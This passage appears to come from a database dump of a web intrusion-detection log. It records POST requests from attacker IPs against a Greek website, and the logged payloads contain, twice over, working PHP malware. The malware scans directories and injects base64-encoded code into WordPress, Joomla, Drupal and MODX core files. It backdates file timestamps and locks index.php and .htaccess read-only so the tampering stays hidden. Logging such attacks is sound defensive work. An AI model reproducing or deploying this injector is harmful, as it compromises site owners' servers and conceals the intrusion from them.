 $c = file_get_contents($file);\n\n    $size[\\\"start\\\"] = number_format(strlen($c));\n\n    $start_mark = \\\"//istart\\\";\n    $end_mark = \\\"//iend\\\";\n\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\n//        echo \\\"markers found\\\\n\\\";\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\n    }\n//    if(stristr($c, $search)) {\n\n\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\n    if ($search == \\\"endfile\\\") {\n//        echo(\\\"inject in the end of file\\\\n\\\");\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\n    }\n    elseif ($search == \\\"startfile\\\") {\n\n        $c = preg_replace(\\\"#\\\\<\\\\?php#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\n//        echo($data);\n    }\n    else {\n//        echo(\\\"injecting by the marker\\\\n\\\");\n        $c = preg_replace(\\\"#\\\" . $regex_search.\\\"#is\\\", $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c);\n    }\n    $size[\\\"result\\\"] = number_format(strlen($c));\n\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\n\n        $filemtime = filemtime($file);\n        if (file_put_contents($file, $c)) {\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\n\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\n\n            echo(\\\"file $file saved\\\\n\\\");\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\n            touch($file, $filemtime, $filemtime);\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\n\n            if($exit) exit;\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\n    }\n}\n\nfunction get_listing($dir, $step = 0) {\n    if (empty($steps_limit))\n        $steps_limit = 3;\n    if ($step == 0) {\n        echo \\\"FOLDERS SCAN STEPS LIMIT: \\\" . $steps_limit . \\\"\\\\n\\\";\n    }\n\n    if ($step >= $steps_limit) {\n        return false;\n    }\n\n    $results = array();\n    $listing = glob($dir . \\\"*\\\");\n\n    if (!empty($listing) AND count($listing) > 0)\n        foreach ($listing as $v) {\n\n            if (is_dir($v)) {\n                $tmp = get_listing($v . \\\"/\\\", $step + 1);\n                if (!empty($tmp) and count($tmp) > 0)\n                    $results = array_merge($results, $tmp);\n            }\n            else continue;\n\n            if (is_dir($v))\n                $v = $v . \\\"/\\\";\n            $results[] = $v;\n        }\n    return $results;\n}\n\n\nfunction my_time($dir) {\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\n        $times[] = filemtime($f);\n    }\n    $max = 1;\n    for ($i = 0; $i < count($times) - 1; $i++) {\n        $k = 1;\n        for ($j = $i + 1; $j < count($times); $j++) {\n            if ($times[$i] == $times[$j]) {\n                $k++;\n                if ($k > $max) {\n                    $max = $k;\n                    $time = $times[$i];\n                }\n            }\n        }\n    }\n    return $time;\n}\n\nfunction my_correct($dir) {\n    $time = 0;\n    $path = $dir . \\\'/index.php\\\';\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\n    if (file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        $time = my_time($dir);\n        touch($path, $time);\n    }\n\n    $path = $dir . \\\'/.htaccess\\\';\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\n    if (file_exists($path) AND file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        if (!$time) {\n            $time = my_time($dir);\n        }\n        touch($path, $time);\n    }\n}','xss,csrf,id,rfe,sqli,lfi',158,236,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','95.215.108.247',''),
 (600,'2016-05-26 00:17:30','POST.p2','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,236,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','93.170.104.43',''),
 (601,'2016-05-26 00:17:30','POST.p1','echo \\\"marker:2a799ce3900f505d8b05e0c505e332b2\\\\n\\\"; \n\n$depth = \\\'0\\\';\n\n$depth = $depth+2;\n\n$base_dir = dirname(__FILE__);\nfor ($i = 0; $i < $depth; $i++) {\n    $d = dirname($base_dir);\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\n    if(count($tmp)>0)\n        $base_dir = $d;\n    else {\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\n    }\n}\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\n\n\necho(\\\"start folder is: \\\".$base_dir.\\\"\\\\n\\\");\nif (empty($base_dir)) $base_dir = \\\"/\\\";\n$folders = get_listing($base_dir.\\\"/\\\");\n//array_unshift($folders, $base_dir_site);\n\n$skip_array = array(\\\"\\\\.ru\\\", \\\"\\\\.su\\\", \\\"\\\\.ua\\\", \\\"\\\\.kz\\\", \\\"\\\\.by\\\", \\\"\\\\.xn--p1ai\\\", \\\"\\\\.gov\\\", \\\"\\\\.mil\\\");\n$skip_regex = implode(\\\"|\\\", $skip_array);\n//$skip_regex = implode(\\\"[/]|\\\", $skip_array).\\\"[/]|\\\";\n\nforeach ($folders as $folder) {\n//    echo(\\\"regex : \\\".\\\"#(\\\".$skip_regex.\\\")#is\\\".\\\"\\\\n\\\");\n    if(preg_match(\\\"#(\\\".$skip_regex.\\\")#is\\\", $folder, $m)) {\n        echo(\\\"bad domain zone in path: \\\".$folder. \\\" match: \\\".$m[1]);\n        continue;\n    }\n\n    foreach ($templates_array as $ta) {\n        $file = $folder . $ta[\\\"file\\\"];\n        $search = $ta[\\\"search\\\"];\n\n        if (!file_exists($file)) {\n//            echo $file . \\\" is not faund\\\\n\\\";\n            continue;\n        }\n\n        echo \\\"\\\\n\\\\n\\\" . str_repeat(\\\"*+\\\", 50) . \\\"\\\\n\\\";\n        echo $file . \\\" was found\\\\n\\\";\n\n        replace_code($file, $search, $base_dir, false, $ta);\n    }\n}\n\n\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\n    if(basename($file)==\\\"nav-menu.php\\\") {\n        my_correct(dirname(dirname($file)));\n    }\n\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\n\n    $c = file_get_contents($file);\n\n    $size[\\\"start\\\"] = number_format(strlen($c));\n\n    $start_mark = \\\"//istart\\\";\n    $end_mark = \\\"//iend\\\";\n\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\n//        echo \\\"markers found\\\\n\\\";\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\n    }\n//    if(stristr($c, $search)) {\n\n\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\n    if ($search == \\\"endfile\\\") {\n//        echo(\\\"inject in the end of file\\\\n\\\");\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\n    }\n    elseif ($search == \\\"startfile\\\") {\n\n        $c = preg_replace(\\\"#\\\\<\\\\?php#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\n//        echo($data);\n    }\n    else {\n//        echo(\\\"injecting by the marker\\\\n\\\");\n        $c = preg_replace(\\\"#\\\" . $regex_search.\\\"#is\\\", $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c);\n    }\n    $size[\\\"result\\\"] = number_format(strlen($c));\n\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\n\n        $filemtime = filemtime($file);\n        if (file_put_contents($file, $c)) {\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\n\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\n\n            echo(\\\"file $file saved\\\\n\\\");\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\n            touch($file, $filemtime, $filemtime);\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\n\n            if($exit) exit;\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\n    }\n}\n\nfunction get_listing($dir, $step = 0) {\n    if (empty($steps_limit))\n        $steps_limit = 3;\n    if ($step == 0) {\n        echo \\\"FOLDERS SCAN STEPS LIMIT: \\\" . $steps_limit . \\\"\\\\n\\\";\n    }\n\n    if ($step >= $steps_limit) {\n        return false;\n    }\n\n    $results = array();\n    $listing = glob($dir . \\\"*\\\");\n\n    if (!empty($listing) AND count($listing) > 0)\n        foreach ($listing as $v) {\n\n            if (is_dir($v)) {\n                $tmp = get_listing($v . \\\"/\\\", $step + 1);\n                if (!empty($tmp) and count($tmp) > 0)\n                    $results = array_merge($results, $tmp);\n            }\n            else continue;\n\n            if (is_dir($v))\n                $v = $v . \\\"/\\\";\n            $results[] = $v;\n        }\n    return $results;\n}\n\n\nfunction my_time($dir) {\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\n        $times[] = filemtime($f);\n    }\n    $max = 1;\n    for ($i = 0; $i < count($times) - 1; $i++) {\n        $k = 1;\n        for ($j = $i + 1; $j < count($times); $j++) {\n            if ($times[$i] == $times[$j]) {\n                $k++;\n                if ($k > $max) {\n                    $max = $k;\n                    $time = $times[$i];\n                }\n            }\n        }\n    }\n    return $time;\n}\n\nfunction my_correct($dir) {\n    $time = 0;\n    $path = $dir . \\\'/index.php\\\';\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\n    if (file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        $time = my_time($dir);\n        touch($path, $time);\n    }\n\n    $path = $dir . \\\'/.htaccess\\\';\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\n    if (file_exists($path) AND file_get_contents($path) != $content) {\n        chmod($path, 0644);\n        file_put_contents($path, $content);\n        chmod($path, 0444);\n        if (!$time) {\n            $time = my_time($dir);\n        }\n        touch($path, $time);\n    }\n}','xss,csrf,id,rfe,sqli,lfi',158,236,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','93.170.104.43','');
